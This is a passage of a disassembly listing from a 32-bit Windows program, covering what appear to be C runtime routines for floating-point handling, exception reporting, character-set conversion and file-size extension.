var_40		= dword	ptr -40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF0h
		sub	esp, 80h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+80h+var_4], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_419634
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4199AD
		and	[esp+80h+var_40], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [esp+98h+var_80]
		push	eax
		call	sub_41935A
		add	esp, 1Ch

loc_4199AD:				; CODE XREF: sub_41995B+2Bj
		push	[ebp+arg_0]
		call	sub_41983D
		add	esp, 4
		cmp	dword_423FA0, 0
		jnz	short loc_4199EC
		test	eax, eax
		jz	short loc_4199EC
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		sub	esp, 18h
		fstp	[esp+9Ch+var_8C]
		fldz
		fstp	[esp+9Ch+var_94]
		fld	[ebp+arg_8]
		fstp	[esp+9Ch+var_9C]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41986A
		add	esp, 24h
		jmp	short loc_419A06
; ---------------------------------------------------------------------------

loc_4199EC:				; CODE XREF: sub_41995B+64j
					; sub_41995B+68j
		push	eax
		call	sub_419815
		mov	[esp+84h+var_84], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419B71
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx

loc_419A06:				; CODE XREF: sub_41995B+8Fj
		mov	ecx, [esp+80h+var_4]
		xor	ecx, esp
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn
sub_41995B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_419A15(double)

sub_419A15	proc near		; CODE XREF: sub_4146A6:loc_41472Cp

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fld	[esp+8+arg_0]
		frndint
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_419A15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419A26(double,int)

sub_419A26	proc near		; CODE XREF: sub_419AAB+79p
					; sub_419AAB+8Ep

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		fld	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0+6]
		fstp	[ebp+var_8]
		add	eax, 3FEh
		shl	eax, 4
		and	ecx, 0FFFF800Fh
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419A26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_4146A6+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419A68
		cmp	[ebp+arg_0], edx
		jnz	short loc_419A7B
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419A68:				; CODE XREF: sub_419A50+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419A7B
		cmp	[ebp+arg_0], edx
		jnz	short loc_419A7B
		push	2

loc_419A78:				; CODE XREF: sub_419A50+3Cj
					; sub_419A50+55j
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419A7B:				; CODE XREF: sub_419A50+11j
					; sub_419A50+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419A8E
		push	3
		jmp	short loc_419A78
; ---------------------------------------------------------------------------

loc_419A8E:				; CODE XREF: sub_419A50+38j
		cmp	cx, 7FF0h
		jnz	short loc_419AA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419AA3
		cmp	[ebp+arg_0], edx
		jz	short loc_419AA7

loc_419AA3:				; CODE XREF: sub_419A50+4Cj
		push	4
		jmp	short loc_419A78
; ---------------------------------------------------------------------------

loc_419AA7:				; CODE XREF: sub_419A50+43j
					; sub_419A50+51j
		xor	eax, eax
		pop	ebp
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419AAB(double,int)

sub_419AAB	proc near		; CODE XREF: sub_419634+122p

var_C		= qword	ptr -0Ch
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		fldz
		fcom	[ebp+arg_0]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_419AC1
		xor	edx, edx
		jmp	loc_419B53
; ---------------------------------------------------------------------------

loc_419AC1:				; CODE XREF: sub_419AAB+Dj
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419B2E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419AD9
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419B2E

loc_419AD9:				; CODE XREF: sub_419AAB+27j
		fcomp	[ebp+arg_0]
		mov	edx, 0FFFFFC03h
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_419AED
		xor	eax, eax
		inc	eax
		jmp	short loc_419B05
; ---------------------------------------------------------------------------

loc_419AED:				; CODE XREF: sub_419AAB+3Bj
		xor	eax, eax
		jmp	short loc_419B05
; ---------------------------------------------------------------------------

loc_419AF1:				; CODE XREF: sub_419AAB+5Ej
		shl	dword ptr [ebp+arg_0+4], 1
		test	dword ptr [ebp+arg_0], 80000000h
		jz	short loc_419B01
		or	dword ptr [ebp+arg_0+4], 1

loc_419B01:				; CODE XREF: sub_419AAB+50j
		shl	dword ptr [ebp+arg_0], 1
		dec	edx

loc_419B05:				; CODE XREF: sub_419AAB+40j
					; sub_419AAB+44j
		test	byte ptr [ebp+arg_0+6],	10h
		jz	short loc_419AF1
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419B1B
		or	word ptr [ebp+arg_0+6],	8000h

loc_419B1B:				; CODE XREF: sub_419AAB+68j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		call	sub_419A26
		add	esp, 0Ch
		jmp	short loc_419B53
; ---------------------------------------------------------------------------

loc_419B2E:				; CODE XREF: sub_419AAB+1Ej
					; sub_419AAB+2Cj
		push	ecx		; int
		fstp	st
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		call	sub_419A26
		mov	edx, dword ptr [ebp+arg_0+6]
		shr	edx, 4
		and	edx, 7FFh
		add	esp, 0Ch
		sub	edx, 3FEh

loc_419B53:				; CODE XREF: sub_419AAB+11j
					; sub_419AAB+81j
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		pop	ebp
		retn
sub_419AAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B5A	proc near		; CODE XREF: sub_41935A+DCp

var_4		= word ptr -4

		push	ecx
		fstsw	[esp+4+var_4]
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_419B5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B65	proc near		; CODE XREF: sub_41935A:loc_41956Dp

var_4		= word ptr -4

		push	ecx
		fnstsw	[esp+4+var_4]
		fnclex
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_419B65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B71	proc near		; CODE XREF: sub_4146A6+13p
					; sub_4146A6+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		not	eax
		and	eax, [ebp+var_4]
		or	eax, ecx
		movzx	eax, ax
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419B71	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B98	proc near		; CODE XREF: sub_419634+20p
					; sub_419634+3Ap ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  4

		push	ecx
		push	ecx
		mov	cl, byte ptr [esp+8+arg_0]
		test	cl, 1
		jz	short loc_419BAE
		fld	tbyte_4240C0
		fistp	[esp+8+arg_0]
		wait

loc_419BAE:				; CODE XREF: sub_419B98+9j
		test	cl, 8
		jz	short loc_419BC3
		fstsw	ax
		fld	tbyte_4240C0
		fstp	[esp+8+var_8]
		wait
		fstsw	ax

loc_419BC3:				; CODE XREF: sub_419B98+19j
		test	cl, 10h
		jz	short loc_419BD2
		fld	tbyte_4240CC
		fstp	[esp+8+var_8]
		wait

loc_419BD2:				; CODE XREF: sub_419B98+2Ej
		test	cl, 4
		jz	short loc_419BE0
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_419BE0:				; CODE XREF: sub_419B98+3Dj
		test	cl, 20h
		jz	short loc_419BEB
		fldpi
		fstp	[esp+8+var_8]
		wait

loc_419BEB:				; CODE XREF: sub_419B98+4Bj
		pop	ecx
		pop	ecx
		retn
sub_419B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BEE	proc near		; CODE XREF: sub_41CFB7+243p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421EE0
		call	__SEH_prolog4
		xor	eax, eax
		cmp	dword_434D40, eax
		jz	short loc_419C5A
		test	byte ptr [ebp+arg_0], 40h
		jz	short loc_419C52
		cmp	dword_4240D8, eax
		jz	short loc_419C52
		mov	[ebp+ms_exc.disabled], eax
		ldmxcsr	[ebp+arg_0]
		jmp	short loc_419C49
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_419C33
		cmp	eax, 0C000001Dh
		jz	short loc_419C33
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_419C33:				; CODE XREF: sub_419BEE+39j
					; sub_419BEE+40j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	dword_4240D8, 0
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]

loc_419C49:				; CODE XREF: sub_419BEE+2Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_419C5A
; ---------------------------------------------------------------------------

loc_419C52:				; CODE XREF: sub_419BEE+1Aj
					; sub_419BEE+22j
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]

loc_419C5A:				; CODE XREF: sub_419BEE+14j
					; sub_419BEE+62j
		call	__SEH_epilog4
		retn
sub_419BEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C60	proc near		; CODE XREF: sub_419CB1+Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		movzx	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	dl, [ebp+arg_C]
		test	[ecx+eax+1Dh], dl
		jnz	short loc_419C9F
		cmp	[ebp+arg_8], 0
		jz	short loc_419C99
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [ebp+arg_8]
		jmp	short loc_419C9B
; ---------------------------------------------------------------------------

loc_419C99:				; CODE XREF: sub_419C60+25j
		xor	eax, eax

loc_419C9B:				; CODE XREF: sub_419C60+37j
		test	eax, eax
		jz	short loc_419CA2

loc_419C9F:				; CODE XREF: sub_419C60+1Fj
		xor	eax, eax
		inc	eax

loc_419CA2:				; CODE XREF: sub_419C60+3Dj
		cmp	[ebp+var_4], 0
		jz	short locret_419CAF
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_419CAF:				; CODE XREF: sub_419C60+46j
		leave
		retn
sub_419C60	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CB1	proc near		; CODE XREF: sub_4148E6+3Fp
					; sub_414A1E+53p ...

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		push	0
		call	sub_419C60
		add	esp, 10h
		retn
sub_419CB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CC4	proc near		; CODE XREF: sub_414E80+56p
					; sub_4153FB+59p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	eax
		cmp	[esp+arg_0], 0
		jnz	short locret_419CD0
		xor	eax, eax

locret_419CD0:				; CODE XREF: sub_419CC4+8j
		retn
sub_419CC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_419CD1	proc near		; CODE XREF: sub_415BBB:loc_415BE9p

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		test	byte_4240DC, 1
		push	esi
		jz	short loc_419CFE
		push	0Ah
		call	sub_4136C1
		pop	ecx

loc_419CFE:				; CODE XREF: sub_419CD1+23j
		call	sub_4179CF
		test	eax, eax
		jz	short loc_419D0F
		push	16h
		call	sub_4179DC
		pop	ecx

loc_419D0F:				; CODE XREF: sub_419CD1+34j
		test	byte_4240DC, 2
		jz	loc_419DBC
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_40C6F0
		lea	eax, [ebp+2A8h+var_328]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		push	0
		mov	[ebp+2A8h+var_328], 40000015h
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	ds:dword_41E1A8	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	ds:off_41E1A4

loc_419DBC:				; CODE XREF: sub_419CD1+45j
		push	3
		call	sub_411BEA
		int	3		; Trap to Debugger
sub_419CD1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DC4	proc near		; CODE XREF: sub_415CB7+25Ap
					; sub_41609C+150p

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	ds:off_41E0AC
		test	eax, eax
		jnz	short loc_419DF5
		or	eax, 0FFFFFFFFh
		jmp	short loc_419DFF
; ---------------------------------------------------------------------------

loc_419DF5:				; CODE XREF: sub_419DC4+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40DE2C
		pop	ecx

loc_419DFF:				; CODE XREF: sub_419DC4+2Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AB4A
		leave
		retn
sub_419DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E0B	proc near		; CODE XREF: sub_415CB7+285p
					; sub_415CB7+336p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_30], eax
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	eax, [ebp+arg_4]
		mov	[ebp+var_34], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_2C], edi
		jz	loc_419FA8
		mov	esi, ds:dword_41E180
		lea	ecx, [ebp+var_18]
		push	ecx
		push	eax
		call	esi	; GetCPInfo
		test	eax, eax
		mov	ebx, ds:dword_41E08C
		jz	short loc_419EBE
		cmp	[ebp+var_18], 1
		jnz	short loc_419EBE
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_419EBE
		cmp	[ebp+var_18], 1
		jnz	short loc_419EBE
		mov	esi, [ebp+var_24]
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_2C], 1
		jnz	short loc_419E94
		push	[ebp+var_28]
		call	sub_40C500
		mov	esi, eax
		pop	ecx
		inc	esi

loc_419E94:				; CODE XREF: sub_419E0B+7Bj
		cmp	esi, edi

loc_419E96:				; CODE XREF: sub_419E0B+C6j
		jle	short loc_419EF3
		cmp	esi, 7FFFFFF0h
		ja	short loc_419EF3
		lea	eax, [esi+esi+8]
		cmp	eax, 400h
		ja	short loc_419EDA
		call	sub_419FC0
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_419EEE
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EBE:				; CODE XREF: sub_419E0B+53j
					; sub_419E0B+59j ...
		push	edi
		push	edi
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_419E96

loc_419ED3:				; CODE XREF: sub_419E0B+EEj
		xor	eax, eax
		jmp	loc_419FAB
; ---------------------------------------------------------------------------

loc_419EDA:				; CODE XREF: sub_419E0B+9Ej
		push	eax
		call	sub_40D437
		cmp	eax, edi
		pop	ecx
		jz	short loc_419EEE
		mov	dword ptr [eax], 0DDDDh

loc_419EEB:				; CODE XREF: sub_419E0B+B1j
		add	eax, 8

loc_419EEE:				; CODE XREF: sub_419E0B+A9j
					; sub_419E0B+D8j
		mov	[ebp+var_1C], eax
		jmp	short loc_419EF6
; ---------------------------------------------------------------------------

loc_419EF3:				; CODE XREF: sub_419E0B:loc_419E96j
					; sub_419E0B+93j
		mov	[ebp+var_1C], edi

loc_419EF6:				; CODE XREF: sub_419E0B+E6j
		cmp	[ebp+var_1C], edi
		jz	short loc_419ED3
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_419F9F
		mov	ebx, [ebp+var_34]
		cmp	ebx, edi
		jz	short loc_419F44
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_41E120	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_419F9F
		mov	[ebp+var_20], ebx
		jmp	short loc_419F9F
; ---------------------------------------------------------------------------

loc_419F44:				; CODE XREF: sub_419E0B+11Aj
		cmp	[ebp+var_2C], edi
		mov	ebx, ds:dword_41E120
		jnz	short loc_419F63
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_419F9F

loc_419F63:				; CODE XREF: sub_419E0B+142j
		push	esi
		push	1
		call	sub_41187A
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		jz	short loc_419F9F
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_419F94
		push	[ebp+var_20]
		call	sub_40D35A
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_419F9F
; ---------------------------------------------------------------------------

loc_419F94:				; CODE XREF: sub_419E0B+179j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_419F9F
		mov	ecx, [ebp+var_30]
		mov	[ecx], eax

loc_419F9F:				; CODE XREF: sub_419E0B+113j
					; sub_419E0B+132j ...
		push	[ebp+var_1C]
		call	sub_415C9C
		pop	ecx

loc_419FA8:				; CODE XREF: sub_419E0B+38j
		mov	eax, [ebp+var_20]

loc_419FAB:				; CODE XREF: sub_419E0B+CAj
		lea	esp, [ebp-40h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AB4A
		leave
		retn
sub_419E0B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419FC0	proc near		; CODE XREF: sub_415CB7+F3p
					; sub_415CB7+1B1p ...

arg_0		= byte ptr  4

		push	ecx
		lea	ecx, [esp+4+arg_0]
		sub	ecx, eax
		and	ecx, 0Fh
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_41AF10
sub_419FC0	endp

; ---------------------------------------------------------------------------
		push	ecx
		lea	ecx, [esp+8]
		sub	ecx, eax
		and	ecx, 7
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_41AF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FEC	proc near		; CODE XREF: sub_416BBA+2A1p
					; sub_416BBA+2C1p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		xor	esi, esi
		cmp	dword_4241F8, esi
		jz	short loc_41A055
		cmp	dword_424204, 0FFFFFFFEh
		jnz	short loc_41A015
		call	sub_41AF3B

loc_41A015:				; CODE XREF: sub_419FEC+22j
		mov	eax, dword_424204
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A025

loc_41A01F:				; CODE XREF: sub_419FEC+56j
					; sub_419FEC+61j ...
		or	ax, 0FFFFh
		jmp	short loc_41A095
; ---------------------------------------------------------------------------

loc_41A025:				; CODE XREF: sub_419FEC+31j
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	eax
		call	ds:off_41E098
		test	eax, eax
		jnz	short loc_41A0A2
		cmp	dword_4241F8, 2
		jnz	short loc_41A01F
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41A01F
		mov	dword_4241F8, esi

loc_41A055:				; CODE XREF: sub_419FEC+19j
		push	esi
		push	esi
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+arg_0]
		push	eax
		push	esi
		call	ds:off_41E09C
		push	eax
		call	ds:dword_41E120	; WideCharToMultiByte
		mov	ecx, dword_424204
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41A01F
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ecx
		call	ds:off_41E0A0
		test	eax, eax
		jz	short loc_41A01F

loc_41A091:				; CODE XREF: sub_419FEC+C0j
		mov	ax, [ebp+arg_0]

loc_41A095:				; CODE XREF: sub_419FEC+37j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AB4A
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A0A2:				; CODE XREF: sub_419FEC+4Dj
		mov	dword_4241F8, 1
		jmp	short loc_41A091
sub_419FEC	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41195D
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0B7	proc near		; CODE XREF: sub_417C3F+36Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	1
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_416A1E
		mov	[ebp+var_18], eax
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], edx
		jz	short loc_41A13D
		push	2
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_416A1E
		mov	ecx, eax
		and	ecx, edx
		add	esp, 10h
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41A13D
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		sub	esi, eax
		sbb	edi, edx
		js	loc_41A1D2
		jg	short loc_41A116
		cmp	esi, ebx
		jbe	loc_41A1D2

loc_41A116:				; CODE XREF: sub_41A0B7+55j
		mov	ebx, 1000h
		push	ebx
		push	8
		call	ds:dword_41E0E4	; GetProcessHeap
		push	eax
		call	ds:dword_41E0F8	; RtlAllocateHeap
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_41A149
		call	sub_40F7D4
		mov	dword ptr [eax], 0Ch

loc_41A13D:				; CODE XREF: sub_41A0B7+2Bj
					; sub_41A0B7+43j ...
		call	sub_40F7D4
		mov	eax, [eax]

loc_41A144:				; CODE XREF: sub_41A0B7+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A149:				; CODE XREF: sub_41A0B7+79j
		push	8000h
		push	[ebp+arg_0]
		call	sub_41A2DD
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax

loc_41A15B:				; CODE XREF: sub_41A0B7+CFj
					; sub_41A0B7+D3j
		test	edi, edi
		jl	short loc_41A169
		jg	short loc_41A165
		cmp	esi, ebx
		jb	short loc_41A169

loc_41A165:				; CODE XREF: sub_41A0B7+A8j
		mov	eax, ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A169:				; CODE XREF: sub_41A0B7+A6j
					; sub_41A0B7+ACj
		mov	eax, esi

loc_41A16B:				; CODE XREF: sub_41A0B7+B0j
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416BBA
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A1B5
		cdq
		sub	esi, eax
		sbb	edi, edx
		js	short loc_41A18C
		jg	short loc_41A15B
		test	esi, esi
